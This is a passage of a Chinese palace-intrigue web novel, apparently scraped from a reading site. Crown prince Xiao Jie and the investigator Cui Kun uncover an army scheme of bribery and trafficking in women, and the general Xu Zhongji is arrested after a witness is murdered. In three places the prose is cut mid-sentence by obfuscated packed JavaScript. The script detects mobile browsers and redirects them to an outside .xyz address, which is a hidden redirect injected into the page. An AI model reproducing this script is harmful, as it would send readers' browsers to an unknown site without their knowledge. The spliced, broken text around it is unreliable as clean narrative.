我静静看了他一会,抬手抚摸他脊背,轻声道:“不要怕,殿下,不要怕。等把你送到南秦,臣就离开了。” “你……要走?” “是。” 他结结巴巴:“但我,那晚最后,我们还没……” 我叹看口气:“殿下,如果你不喜欢臣,那就是伤害。你不会想要的。” 萧玠愣愣看着我,有水光从他眼圈里打转。我笑了笑,替他擦干净脸,轻轻抱住他。 我那时候多想告诉萧玠,这是你们一家的爱情铁律。你们并不懂爱人和被爱的分别。梁皇帝爱你阿耶爱进膏肓,可连他自己都不相信。你阿耶非常爱他,但并不像他自认为的那么难过。所以,还是告别吧,那爱会保存成未启齿前最完美的形状。那时候的爱是可塑造的,你说它痛苦它会鲜血淋漓,你说它甜蜜它会美如甘泉。爱是你对被爱的一切幻想。那时候,爱可以是一切。 *** 两天以来,瑶州州府上下审问无果。崔鲲便调取州府全部流水档案,事无巨细,一一亲自审阅。左卫将军金明非送来新的文书,劝道:“文书一时看不完,相公不若休息一会。” 崔鲲没有抬头,道:“多谢将军,我看完这一封。” 她手边粥食一动未动,早已冰冷。金明非叹口气,又叫人换热食来。好一会,崔鲲方放下文书,问:“还是没人招供吗?” 金明非摇头,“众口一词,都说不清楚孔阳之死。” 崔鲲问:“仵作那边有结果了吗?” 金明非道:“的确是服毒自尽,浑身没有挣扎痕迹,应当不是强迫所致。” 崔鲲蹙眉,“也很难是旁人投毒。” 金明非叹道:“是,下毒手段虽千奇百怪,但总要借助外物。就像毒香要用香炉焚烧,大部分毒药需要投入饮水饭食之中。但仵作查验,孔阳是清早直接服用的毒药,相公也知道,药瓶还在他手边。直接服毒,怎么看都是主动之举。” 孔阳自己想死。 见崔鲲陷入沉思,金明非忍不住问:“相公,难道……他真是畏罪自裁?” 崔鲲沉声说:“证据指向,本该如此,但……” 不合人性。 就算孔阳是主动服毒,她也要查清其中内情。 孔阳生平爱好交际,许多达官贵人都与其有些往来。这两日里崔鲲一一核对,直到深夜,有了新的发现。 “孔阳给潮州捐过一座怀化崔将军的金像?” 长史路有方道:“是,不过那是许多年前的事了。” 崔鲲问:“这座金像是捐赠给潮州州府,还是细柳营?” 路有方讪笑:“相公,这区别大吗?” 崔鲲看他一眼,“我问话,你回答就是。” “是。在下官印象里,是细柳营的许仲纪将军前来交涉。” “许仲纪是细柳营的头领,也是潮州营的主帅。”崔鲲目光冷静,“你为什么指出,是‘细柳营’的许仲纪?” 路有方一愣,笑道:“下官记得,许将军来时带的是细柳营队伍,旗子也是细柳营的军旗。再者,崔清将军的金像本就是细柳营事务,下官先入为主,如此揣测。” 崔鲲问:“所捐金像,现在仍有供奉?” “是,正在潮州怀化崔将军庙中。” “规格如何?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566407|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“如下官所记不错,那金像有两人高大,在金铜之外再贴金箔,装饰珊瑚宝石,华贵异常。” “两人高大,金玉加身。”崔鲲沉吟,“这样一座金像,靡费不少吧。” 路有方赔笑连连。 崔鲲问:“在此之后,细柳营同孔阳有什么往来?” 路有方回忆片刻,道:“回相公,没有往来。” “没有?” “是,许将军带人领了金像回去,在明月楼答谢使君,自此之后,再无交际。” 崔鲲眉头蹙起。 孔阳为人精刮,绝不破无利之财。他这样破费,必有求于许仲纪,但二人交际被抹得干净,那说明是登不上台面的阴私之事。 但许仲纪是萧恒的臂膀,又是一营之帅,和孔阳能有什么交易? 全部的线索,都在这座金像上。 崔鲲道:“孔阳是哪年送像?” 路有方道:“早了,约莫是奉皇六七年。” “但怀化将军庙是奉皇元年就建起来的,肯定早有塑像。许仲纪就算持身不正,但行事颇为谨慎,他为什么要接受这样一座富丽堂皇的金像,落下一个明面的话柄?” 崔鲲踱步片刻,看向金明非,断然道:“请将军下令,命左卫立刻调阅奉皇六、七两年的州府文书,从账务明细到刑狱案件,但见与潮州和怀化将军相关之事,立刻向我呈报。” *** 翌日清晨,萧玠在程忠陪同下来到细柳营。 几人甫到营地,就听一道号声吹彻。萧玠仍不免一抖,程忠忙道:“殿下莫怕,这是炊事的号声。士兵们演练完毕,到了放饭时候。” 萧玠道:“卯时二刻用饭吗?” 程忠笑道:“是。” 萧玠问:“演练怎么也要半个时辰,岂不是寅时便要起床?” 程忠道:“殿下所说不错,寅时三刻的起床号。” 萧玠又看向崔百斗,“听闻细柳营原本在阳关一带,将士们离乡背井,全都辛苦。” 崔百斗忙抱拳,“殿下哪里话,这是卑职等职责所在。” 萧玠笑笑,问:“不知军械革新的政令是否下达各营?” 崔百斗忙要下拜:“原本图纸下达,各地就该推进军用火器的制造配备。但……朝廷的监造之职空缺了一段时日,新的监造郎从兵部选用后,咱们才从军器监收到火器图,正是这两天的事。营中尚未安排,末将向殿下请罪。” 原本的监造是谁,这些人心知肚明。 虞闻道灰败瘦削的脸一闪而过,萧玠还是浑身颤抖一下。他扶起崔百斗,道:“非卿之过,何况军备改良也非一时之事。只是陛下对此极为看重,千万不得懈怠。” 嘱咐许多,萧玠又问:“许将军还没有到吗?” “殿下驾至细柳营,末将还未去通传许将军。”崔百斗道,“殿下若要见将军,末将这就去喊人。” 萧玠一反往常,没有说“无需兴师动众”之类的话。崔百斗派人去请许仲纪,萧玠便在细柳营的帐子里坐等。刚坐下没一会,就有人打帐快步而入。 尉迟松向萧玠一揖,沉声道:“殿下,黛娘死了。” 65. 第 65 章 黛娘死在月娥坟垄之上。 太阳下,她额头抵一块尖锐岩石。石头苔绿,涂染鲜红。黛娘脖子歪斜,双眼圆睁,像在死死瞪视什么人。 几乎是萧玠看到她的一瞬,萧玠就陡然一晃,程忠上手搀扶他,发现他眼泪已经涔涔落下。 萧玠脸庞埋在袍袖间,好一会,才问尉迟松:“怎么回事,昨天人还好好的,今天怎么成了这样?” 尉迟松道:“卑职依照殿下之意,找了郎中为她诊治,却见月娥父母着急忙慌,说黛娘一宿未归。东宫卫陪伴找寻,在这里……找到她的尸首。约莫已经死去三个时辰。” 萧玠道:“也就是说,她是深夜而亡。” “是。”尉迟松说,“并非自杀,她的颈骨被扭断了。” 尉迟松掀开她的衣领。黛娘柔软的脖颈上,赫然一个紫青指痕。 尉迟松道:“凶手是一个成年男性,娴于武事,膂力上等。如果是普通人,很难一只手以这种角度扭断脖颈。而且……” 萧玠追问:“而且什么?” 尉迟松打开她的左手手掌,“殿下请看。” 黛娘右手掌心,剜出一个血肉模糊的大字。 萧玠喃喃:“这是……六?” “是,她右手指甲有血肉残留,应当是濒死之际,在自己在掌中剜刻的。”尉迟松道,“这应当是与凶手有关的线索。如此清醒决绝,绝不是一个疯子所为。” 她真的在装疯。 她为什么要装疯? 萧玠一颗心砰砰乱跳,他抬手合上黛娘双眼时,泪水再次淋淋而下。 自己为什么要来找她?自己不来见她,她是不是不会死? 萧玠伏在地上大口喘气,突然听垄后传来喊声:“将军,这边发现了脚印!” 萧玠浑身一紧,跟随众人前去。尉迟松脚步快,早已赶到,拨开乱草察看那几个零星足迹,叫人把鞋印拓下来,说:“是军靴。” 萧玠快步冲到那脚印面前,问:“能看出是哪个军队的规制吗?” 尉迟松摇头,“折冲府的服色统一,只知道是地方军队。” 萧玠补充:“驻扎潮州的,地方军队。” 尉迟松抬头看他。 萧玠脸色发白,呼吸急促,“潮州的军队,和拐贩妇女有关,和……和……” 和玉陷园有关。 萧玠两条手臂紧紧抱住自己,连赶来的侍卫同尉迟松耳语都没有反应。还是尉迟松道:“殿下,黜置使星夜兼程,从瑶州赶到潮州州府,说有要紧之事,务必面奏殿下。” 崔鲲来了。 萧玠神智恢复几分,抬袖用力擦了把脸,道:“尉迟将军,请你带军中仵作前来,看看黛娘的尸身还有什么异样。持我的玉牌,派人检查潮州驻地军队,看看有谁身上新带了伤。但有线索,立刻找我回报。” *** 崔鲲跃下马背,鬓毛微乱,风尘仆仆。她来不及整理仪容,拉着萧玠进门,将门扇合上,方吁着气道:“细柳营有问题。” 她从怀中取出几份文书递给萧玠,“奉皇七年七月,瑶州刺史孔阳给潮州捐赠一座怀化将军金像,由潮州营主帅——或者说细柳营话事人许仲纪接收,供奉崔清将军庙宇之中。” 萧玠冷气倒吸:“鹏英的意思是……许仲纪收受贿赂?” “不只,潮州有怀化将军庙,自然有怀化将军像。殿下试想,在孔阳捐赠金像之前,原有的那尊旧像在哪里?” 崔鲲目光如炬,继续道:“奉皇七年正月,有瑶州民户六人来到潮州,刮取了崔将军金身的金箔。细柳营上下愤怒,与这六人产生纷争,继而演化成打斗。” 她顿一顿,“细柳营殴杀其中二人。” 萧玠手中纸页微微一抖,在空中发出哗啦响声。他问:“这样大的事,为什么没有上报?为什么没有依法处置?” 崔鲲道:“死者家眷曾经告到瑶州州府,然后,孔阳和许仲纪私下会面。最后这件事不了了之,再过半年,潮州收到全新的怀化将军金像。” “崔卿,你的意思是,许仲纪袒护麾下,和孔阳沆瀣一气,共行贪墨之举?” “是。” “不可能。”萧玠声音越来越低,“许仲纪出身大家,行事谨慎,修身自持,连陛下都赞不绝口。岂会为了袒护冒法杀人的下属就和奸人同流合污?” “这场乱子里带头动手的,是如今细柳营的左将军崔百斗。而奉皇七年,正是陛下军制改制之年,取消三大营外的私人军队,统一收编入折冲府兵制。”崔鲲看着萧玠,面无动容,“殿下真的以为,陛下没有动过改组细柳营的心思吗?” 萧玠断然喝道:“崔卿!” 崔鲲凝视他,缓缓道:“殿下,陛下稳坐皇位十五年,如果一味宽仁,早被生吞活剥了。殿下请看,陛下在变法中的一系列举措不过两点,与民放权,与贵争权。臣请问殿下,细柳营是贵是民?” 萧玠一时哑口,崔鲲叹道:“这个问题,恐怕陛下自己都很难回答。细柳营心系百姓,源流尚清,但将领大多出身世家,麾下俨然是世族派系。如今是怀化将军遗风未减,但百年之后呢?” 她沉声说:“不管细柳营再怎么战功赫赫,陛下绝不会容许一支尾大不掉的队伍出现,这对变法来说是极大的隐患。但细柳营未有差错,陛下更不会做兔死狗烹之徒,所以才降下恩旨,允许细柳营继续独立。但如果细柳营位高权重的左将军殴杀百姓,殿下试想,陛下会不会借此机会,彻底打散细柳营?” 这就是许仲纪的死穴。 “还有一件事。”崔鲲说,“去年殿下曾致书许仲纪,询问当年查封小秦淮一事。不久许仲纪便突发痢疾,无法入京,再不久……” 就有了玉陷园一事。 萧玠把自己的手抬到半空,他像眼花一样,又看到手掌微微颤抖。 崔鲲担忧道:“殿下,您……” 萧玠攥紧手掌,道:“你继续说就是。” “臣揣测,贩卖妇女的确是借的小秦淮的旧路,但主事之人不是秦公。”崔鲲道,“会不会是查封小秦淮后,许仲纪受孔阳指使,留下了这条路子做运输妇女之用。一则小秦淮明面上已然查封,且线路隐蔽,很难引人察觉;二则……” 萧玠喃喃:“如若事败,有南秦做替罪之羊。” 他明白了。 潮州户籍的月娥和蕙心为什么死,黛娘的装疯、对他的提防,还有手心的那个“六”的血书。 如果是细柳营做的,那她们获救后由细柳营护送,自然不会留下活口。甚至月娥和蕙心被送给的就是细柳之中的将领,她们认得人,不得不死。 但三人全死太过蹊跷,所以留下了疯女黛娘。而黛娘装疯…… 萧玠耳边,黛娘的歌声回响。 “郎呀郎,进北山。斗恶狼,救妾还。 “打狼归呀,穿狼皮。做狼装,着狼衣。 “要问儿郎在何方,月亮底,尾长长……” 车马辘辘,月光森森,以为获救归还的女孩黛娘打起车帘。她垂首,看到细柳营士兵甲胄的影子,落在地上,像一条长长的狼尾。 她心中一跳,抬头看去。 月光下,救星脸上,她认出了另一张脸。 擒拿她、打晕她、卖掉她的,罪犯的脸。 要寻狼,天边望。 到底是,眼前郎。 …… 萧玠像被一拳打在肚子上,双臂抱怀,渐渐弯腰佝偻。崔鲲忙去扶他,听见遏制不住的抽泣的声音在萧玠双唇间迸发而出,慢慢,他大口喘气,断断续续咳嗽起来。 拒绝再服萧恒用血喂养的长青散之后,萧玠的身体大不如前。他拽下腰间荷包,哆哆嗦嗦解开,倒出药丸合口吞下,崔鲲忙找温水替他冲服。 这样缓了好一会,萧玠才发得出声音:“她一直在求救,但在潮州的地界里,她能告诉谁?她想告诉我,但是细柳营陪我来的……她知道潮州和陛下的关系,她拿不准我会帮她还是袒护潮州的军队……鹏英,她在手心挖出了一个六字,她在指细柳营,她在指陛下,我们叫她失望了,她、她们……” 她们是枉死啊。 萧玠又要开口,泪水再度涌出眼眶,他颤声问:“鹏英,潮州的兵是陛下的兄弟,潮州州府是陛下的根,他们应该和陛下站在一块不是吗?他们应该是南关长城不是吗?这才过了几年,为什么会变成这样?为什么我们打狼的军队……会变成吞吃百姓的恶狼?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566408|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 崔鲲眼中酸涩,无法回答。 萧玠缩在地上,终于撑着凳子站起来,问:“左卫都跟来了吗?” 崔鲲道:“臣快马先行,金将军料理完后续事务,立刻带人赶来。” 萧玠点点头,“你一会知会尉迟将军,东宫卫率全军戒备,但不要露在面上。他们敢做下如此残暴之行,未必不敢向天反抗……还有,通知许仲纪,我要见他,现在,马上。” *** 许仲纪赶到院中,打起竹帘,看到一张酷似秦灼的少年的脸。 像秦灼,但没有秦灼那样夺目的明艳和慑人的冷气,温温和和,像一块叫人手心润透的暖玉。他穿一件家常素锦袍子,正端一盏茶,慢慢撇去茶沫,闻声抬眸。 萧玠的目光先看向他身后,点了点头,“程将军也到了。” 程忠冲他抱拳,“末将正和许将军巡营,听闻殿下传召,一块赶来见驾。殿下有什么号令,但管吩咐末将。” 萧玠笑道:“没什么,有几句家常话,想单独问一问许将军。程将军这几日一直奔波劳碌,辛苦腿脚,先回去歇息吧,我这边不缺人手。” 他这样说,程忠不好违逆,瞧瞧许仲纪,到底依言退下。 萧玠放下茶盏,道:“将军请坐吧。” 许仲纪忙抱拳,“臣微末之躯,岂敢僭越。” 萧玠笑道:“潮州是陛下的本家,也就是我的老家。自己家里,哪有那么多规矩。” 许仲纪便谢恩,一坐下,萧玠已倒了一盏新茶,亲自端到他面前。 许仲纪大惊,忙要下拜,萧玠一只手扶住他手臂,道:“我离京前,陛下同我讲过潮州的事,提起过将军。陛下说,若有缘见面,让我叫将军伯父就是。初次见面,算我给伯父敬盏茶。” 许仲纪双手接过,低声道:“多谢殿下,臣愧受了。” 萧玠看他饮一口,才重新坐下,道:“去年我请伯父进京,不料全军害痢,可大好了?我这边有太医随行,可以一块瞧瞧。” 许仲纪道:“幸蒙殿下牵挂,微末小病,全都好了。” 萧玠笑道:“伯父这一场小病,倒是很巧。” 许仲纪神色莫辨,萧玠端起茶盏,看那一汤深绿茶水里,沉着自己一张浅青的脸。他说:“我请伯父来,还是要问那桩事——当年查封小秦淮一事,是伯父全权接管。我想问问伯父,这条早已封闭的路子,是如何在八九年后再度动用起来?” 他吃一口茶,缓声道:“还是说,这八九年里,一直没有断过生意?” 许仲纪沉默片刻,道:“臣的确不知情。” 萧玠笑一笑:“伯父到底是三军统率,不知晓也情有可原。但怀化将军在天有灵,若知道自己的泥胎塑像染了这么多人的血,只怕难以安眠。” 许仲纪陡然抬头,“殿下……” “我已经派人扣押崔百斗了,奉皇七年殴杀瑶州民户之事,他已供认不讳。”萧玠没有再绕弯子的耐心,他有太多的疑问,那些疑问和他莫大的伤痛相关。他直视许仲纪的双眼,那种审视的目光好像萧恒。 萧玠问:“许将军,是或不是?” 许仲纪身躯微微发抖。 在他身上,萧玠总能看出一些类似萧恒之处。他们呈现出一种超越年龄的老态。萧恒未至不惑之年,已经两鬓苍苍,许仲纪眼底尽是年过半百的疲倦,但他不过四十余岁之人。这时候萧玠才领悟,心脏是掌控青春的器官,他们过早地切掉一半心脏,也就切掉自己的一半生命。 所以切掉的那一半里,是不是包括良心? 萧玠端不住那盏茶,搁在桌上,问:“孔阳多年以来的贪贿之举,你全部知情——你有所参与,是或不是?” 许仲纪依旧不语。 “军队藏污,拐贩妇女,假借小秦淮之名行此恶状,甚至勾结京官培植党羽。月娥蕙心被解救之后,死在你们手中。如今生怕行藏暴露,又对黛娘杀人灭口。”萧玠声音发沉,“许将军,这桩桩件件,你还有什么话说?” 片刻死寂后,许仲纪道:“臣无话可说。” 他从椅中站起来,跪倒在地。 良久沉默里,他听萧玠声音发抖:“玉陷园……也是你的安排吗?” 66. 第 66 章 许仲纪陡然抬头,他眼中,太子突然变成一个受伤的孩子。 萧玠哑声道:“阿爹说如果见面,让我叫你伯父,说什么事情都可以找你。他说潮州是我的老家,家里人……都会待我很好……” 一瞬间,许仲纪热泪滚滚,喉间如横鲠刺,多少话欲吐难吐。萧玠整个人伏在案上,许久,才抬袖把脸擦干。 他放下袖子,眼圈鲜红,却已干涸,说:“许将军,拐贩妇女、私通前朝、构陷太子,这数桩大罪,国法难饶。” 许仲纪一个头磕在地上,颤声道:“臣知罪,但请殿下处置。” 萧玠站起来,脚步轻飘飘地,刮过他身边时,轻声说:“你为了保住细柳营这块牌子做下这些残暴之事,但这样的细柳营,崔将军还会认吗?如果她活着,真的不会亲自清理门户吗?” 许仲纪额头抵地,脊背微微颤动。 *** 当日,黜置大使崔鲲请太子玉符,收押潮州营主帅许仲纪,夺其军权,潮州营暂由万骑将军程忠调统。细柳营驻潮部众,由左卫押送,回京听判。 日暮时分,天空红紫交接,血肉模糊。天际刮来阴云,如同脓血一团。许仲纪关戴枷锁,锒铛声中一步一步走向柳树簇拥的怀化将军庙。庙中,崔清金身华光绽放,手持长枪,向他怒目圆睁。 许仲纪扑通一声栽倒在地,低低叫一声:“十一娘,我走了。你再也不用到梦里来骂我了。我的报应,到了。” 崔百斗双手反缚,跪在庙外,头发花白,放声痛哭道:“将军,我害了你,我害了你啊!” 将军庙外,左卫刀尖森森上指,细柳营士兵脱甲戴镣,由其驱行。一夕之间,他们从土地的守护神变成残害者,又化作罪大恶极的囚徒。押送队伍如同长蛇漫过山坡,蠕动的蛇身后,崔鲲立在马前,大红官袍由风撩动,如同烈火燃烧。她抬首,与庙中这位如同神明的族姑遥遥相望。 萧玠站在她身边,道:“冤案已破,凶恶已除,鹏英功在社稷。” 崔鲲未舒的眉头渐渐蹙紧,沉声道:“殿下,臣心里总觉得不太对劲。” 太顺了。 许仲纪供认不讳,细柳营毫不挣扎,这样大的一颗毒瘤,竟如此轻易地连根拔起。 萧玠问:“如今许仲纪伏法,鹏英还有什么疑虑?” “臣说不清,”崔鲲道,“但臣心里……很不安。” 这种不安更像一种直觉,不属于证据链的任何一环,但往往比任何证据都更逼近真相。 真相真的到细柳营为止吗? 萧玠望向左卫队伍,不解道:“我还是不明白,许仲纪为什么会变成这样……这些和阿爹出生入死的兄弟,为什么会变成这样?” 崔鲲极目远望。山陵之间,红橙黄紫的辉光闪烁变幻,树影幽幽生烟,如同万千鬼穴。她轻声道:“殿下记不记得,臣去年殿试时的回答。” 萧玠颔首,“罔民者,君也。” “臣所批者,并非当今陛下,甚至不是历代天子。”崔鲲说,“臣要批的,是和天子盘根错节的利益方,包括股肱,包括外戚,也包括忠心耿耿的‘帝党’。” 萧玠仍有些不明白,“忠君,难道不对吗?” 崔鲲反问:“殿下觉得,许仲纪对陛下不忠吗?” 萧玠一时无言,崔鲲继续道:“对上的忠诚,并不妨碍对下欺凌。帝党与陛下一荣俱荣,忠于陛下,是对富贵荣华的维系;同样,盘剥百姓,也是对富贵荣华的夺取。忠君者,未必是好官。” 她声音沉重:“潮州本是龙兴之地,如今反成了万恶之源。殿下以为,他们借的谁的势?若无陛下信重,潮州诸吏会声名煊赫至此,会有这么多地方官员献媚贿赂吗?更可怕的是,陛下尚修身自持,他的麾下已经纷纷变节了。” 她叹口气:“殿下,朝廷的腐朽甚至不需要昏君,只要有一个君主坐在那里,就够了。” 萧玠问:“那陛下究竟要怎么做……他已经做到这个地步,难道要他自己杀了自己,自己废掉自己吗?” 崔鲲扭头看他。 萧玠后退一步,一股热气心跳般从胸口砰砰乱撞。他遏不住颤声叫道:“鹏英,那是我爹!” 崔鲲笑一笑:“臣并不知道要怎么做,而且凭臣一己之力,更难做成什么事。更何况,无陛下之改革科举,绝无臣之立锥之地。天下女子,苦不能学久矣。” “陛下,是臣的恩人。” 晚风中,崔鲲衣袍鼓动。霞光映在她脸侧,敷在她颊上一层胭脂般的柔和。崔鲲在这时,再次变回闺中那个小字燕微的女孩。萧玠也是在这一刻参透造化大冶的真相,乳燕本就是鹏鸟的雏形,她生来就是扶摇直上的崔鹏英。 萧玠看着她微扬的侧脸,说:“不。” 崔鲲有些讶然。 她不知道,萧玠在这时想起的,居然是父亲面对阳陵的沉默。 每年春冬,萧恒都要带萧玠去恭让皇后陵前拜祭。春天是她的生日,冬天是她的忌日。春天父亲在她坟室外手植椒树,冬天父亲清扫残雪如同清扫残英。最初萧玠跟随,心中并非毫无怨怼。他误将父亲的无言解读成一往情深。 父亲替汤后清扫墓室,摆好香灯香烛,站在一旁,叫萧玠过来磕头。萧玠心中感到一阵屈辱。这个女人占据他父亲之妻和自己之母的双重位置,而有分无名的那个人,却只能作为政敌远处他方、死生无缘。他在那一刻无比痛恨父亲,痛恨他的辜负,痛恨他面对这女人坟墓的沉重伤痛。他沉默而痛恨地,看父亲折下一枝椒花,掌在手中。 父亲说,我没有和你讲过她的事。 恭让皇后是陛下的妻子,是臣的尊长。萧玠说。妄议尊长,是无礼。陛下没有讲,臣也不该听。 萧玠听到父亲重重叹口气,说,阿玠,你知道我为什么想开女试吗? 那个暮春的清晨,萧玠在汤皇后陵前,听到一段有关于己、但又与自己毫不相干的故事。那故事以自己幼时的虎祸为因缘,灵魂却是一个女人的悲剧。他看父亲拨开衣领,露出颈侧,那金钗刺穿的伤疤在十数年后犹未消褪。她用生命做出的錾记在父亲良心上此生此世都无法消褪。 她是男人政治斗争的牺牲,也是有史以来最伟大的刺客。她用一根钗钿做出全部女人惊天动地的报复。 哪怕汤玉壶没有觉悟,她个人的鲜血已经溅起时代的飓风,更遑论那些呐喊、泣血、引来天雷的人。萧玠终于醒悟,开创女官制度的不是萧恒是孟露先,废除娼妓制度的不是李寒是裴玉清,保护黛娘的不是官军是月娥,为月娥伸冤的不是自己,是崔鲲。 解救女人的,从来是女人。 而他的父亲。 萧玠开口,重复萧恒最后一句话。那时,他蹲在汤后墓前,放下那枝椒花。 “对她、对她们,我只有罪,没有恩。” *** 萧玠再回州府,已经入夜。 程忠早叫人准备膳点,满满一桌足有十例,热气腾腾,样样精细。萧玠皱眉道:“这样多的饭菜,太过靡费。” 程忠笑道:“末将听闻东宫夜间进膳规制,当有五荤五素,两份汤粥,再有各色糕点果子。这已然是委屈殿下了。” 萧玠道:“那是前朝的例子。我若同陛下吃饭,爷两个一荤二素足够。我脾胃不好,若自己吃夜食,陛下常给我下一碗馎饦,也只吃得了半碗,再多便吃不下了。” 程忠忙跪倒,“是末将思虑不周,还请殿下恕罪。殿下难得来一趟,末将心想,潮州风味众多,总该叫殿下都尝一尝。” 萧玠搀扶他起来,笑道:“好啦,这样谢罪来谢罪去,汤都要冷了。将军腿伤不便,以后不要再跪了。如今潮州全权托付将军昆仲二人肩上,还请谨慎治下,千万勿蹈许氏前鉴。” 程忠再次谢过,起身道:“末将谨记殿下教诲。” 萧玠坐回去时,目光正扫到他腰间,笑道:“将军的带銙怎么掉了一个?” 程忠闻言看向腰间,在一排犀角带銙间找了一会,才从后腰找到一个脱落后的孔眼,也笑道:“估计是军营走动时脱落了,末将是个粗人,也没留心。” 他叹口气:“此案暂时告一段落,殿下也可以安心南下,和秦公共享天伦了。” 萧玠只笑笑,便用膳,程忠也告退。过一会,尉迟松入内,向萧玠抱拳:“殿下有何吩咐?” 萧玠放下碗筷,道:“今日人多眼杂,我不好当众嘱咐。今早我去细柳营武库,看他们的军械都是寻常规制,听底下回报,数量也没有超额。但我之前曾听陛下讲到给细柳营下拨的军费,军械打造这块每年拨银不下万数,怎么会只有这些东西?既然他们敢做下鬻女受贿的勾当,这一块,会不会也有差池?” 尉迟松想了想,“军械制造的火耗未有定数,的确容易做些手脚。” 萧玠道:“若真是贪贿也罢,我还怕另一件事。” 尉迟松听出他弦外之音,“殿下怕细柳营借朝廷的银两,囤自己的私兵?” 萧玠深吸口气:“希望是我想的太多。如今许仲纪毫无反抗便束手就擒,的确也不像暗养军队的样子……但这件事,我要个底。” 尉迟松道:“殿下宽心,臣立即去办。” 尉迟松离开后,滚烫的膳食也晾到入口的温度。见东西都是地方花样,且分量太多,萧玠便请人取几例微动的给崔鲲送去。 那人答一声,萧玠抬头,见是沈娑婆,忙匆匆别开目光。沈娑婆将两碟小菜放入食匣,微微一顿,突然握住萧玠的手。 萧玠浑身一颤,忙挣开他的手,慌乱道:“沈郎……你做什么?” 沈娑婆笑了笑,并不说什么。烛火前他素面如雪,眼角红痣愈加艳丽。 萧玠低声解释:“我……我怕人瞧见。” 沈娑婆道:“臣关了门窗。” 他这话一出,更像要做什么。萧玠捏紧筷子,道:“我在吃饭。” “臣知道。”沈娑婆失笑,“殿下以为,臣要做什么?” 萧玠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566409|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一时无言。 沈娑婆将他指的一碟杏仁豆腐放入匣中,问:“殿下这一段与人接触,感觉还好吗?” 萧玠颔首,“好多了,别人碰我的时候,基本不会害怕了。” 沈娑婆问:“除了臣,是吗?” 萧玠咬了咬嘴唇,一旁,沈娑婆仍笑意温柔:“殿下,你不再怕人了,这是很好的事。等你再回京都,臣相信,你也能够面对嘉国公世子。你是臣见过最慈悲,也最坚强的人。” 萧玠垂首良久,抬头,哑声道:“可我们……怎么办?我对你……我有些……” 沈娑婆道:“没关系的。” 萧玠觉得胸口堵了一枚青杏,口中发苦,鼻中发酸。他多么想去握沈娑婆的手,但那亲吻的画面和触感再次闪现,他只敢拧住他的衣袖。 萧玠低声道:“你准备这么治好我的时候,就料到了,是不是?你料到我谁都不会怕,除了你……你料到我会把对这事的恐惧转移到你身上……” 他感到沈娑婆沉默片刻,连气息都是。片刻后,沈娑婆轻声说:“殿下,对一个无关于己的人,没关系的。” “那你喜欢我吗?”萧玠抓紧他衣袖,十指颤抖,“你是玩笑话,还是真的……” 沈娑婆温声道:“殿下就当臣罪犯欺君吧。” 那就是了。 萧玠身体微微颤动,哑声说:“只是……你为什么喜欢我呢?” 沈娑婆沉默片刻,说:“殿下,菜要冷了。” 萧玠双手从他衣袖间滑落下去,沈娑婆拿起食匣,走出了门。 *** 那道杏仁豆腐本是冷食,萧玠惦记女孩子不好吃凉,便嘱咐做成温热。但放在崔鲲桌上,再次变冷。 案边,摆一盏冷茶,一只收拾到一半的包袱。崔鲲正借着灯火,整理这些天调阅的文书。 她总觉得哪里不对。 但从公文来看,的确没有问题。 这缕疑虑萦绕于心,久久难以消散。崔鲲一边想,一边取过包袱整理衣物,看到自己携带的几份旧档。 是王府贩女案暴露之初,相关人员的口供。 崔鲲的手像探向一只贴了封条的宝箱,放出真相也可能放出罪恶一样,将那封文书拿起来。翻过几页后,她的手指突然僵住。 她看到樊百家的口供。 据樊百家所说,他们把女孩塞进永怀公主的棺椁,是在奉皇六年二月。也就是说,奉皇六年二月,已经开始了拐贩妇女的计划。 但贿赂许仲纪在奉皇七年七月后才开始。 也就是说,七月之前的军队,并不是细柳营。 一瞬间,无数脸孔从崔鲲脑中闪过。 头发纷乱的黛娘、面庞紫青的孔阳、恭谨忐忑的路有方、两鬓花白的崔百斗、神情疲惫的许仲纪、老态渐露的程忠、行事圆融的程义…… 无数身形将她团团包围,无数张脸如无数面具,总有一张人脸之下,是一副魔鬼的青面獠牙。 究竟谁是忠,谁是奸,谁是正,谁是邪,谁是真,谁是伪? 言语可以作假,行动可以伪装,但时间没法骗人。 “相公。”金明非见房门开着,跨步进来,“前卫队已押送细柳营先行了,剩余队伍已整装完毕,请问相公,是否明日班师?” 崔鲲面色凝重,道:“将军,我还在想细柳营贪墨之事。我总觉得,远不到头。” 金明非摸不着头脑,“瑶州贪墨不攻自破,拐贩妇女案也肃清源头,这还不到头?” 他这句话,如同飞电,在崔鲲脑中疾闪而过。 瑶州贪墨不攻自破…… 不攻自破……吗? 金明非看到,崔鲲双眼发直,如魂出窍。紧接着,她溺水般大口呼吸,脸色极其可怖,“不对……完全不对!” “什么不对?” 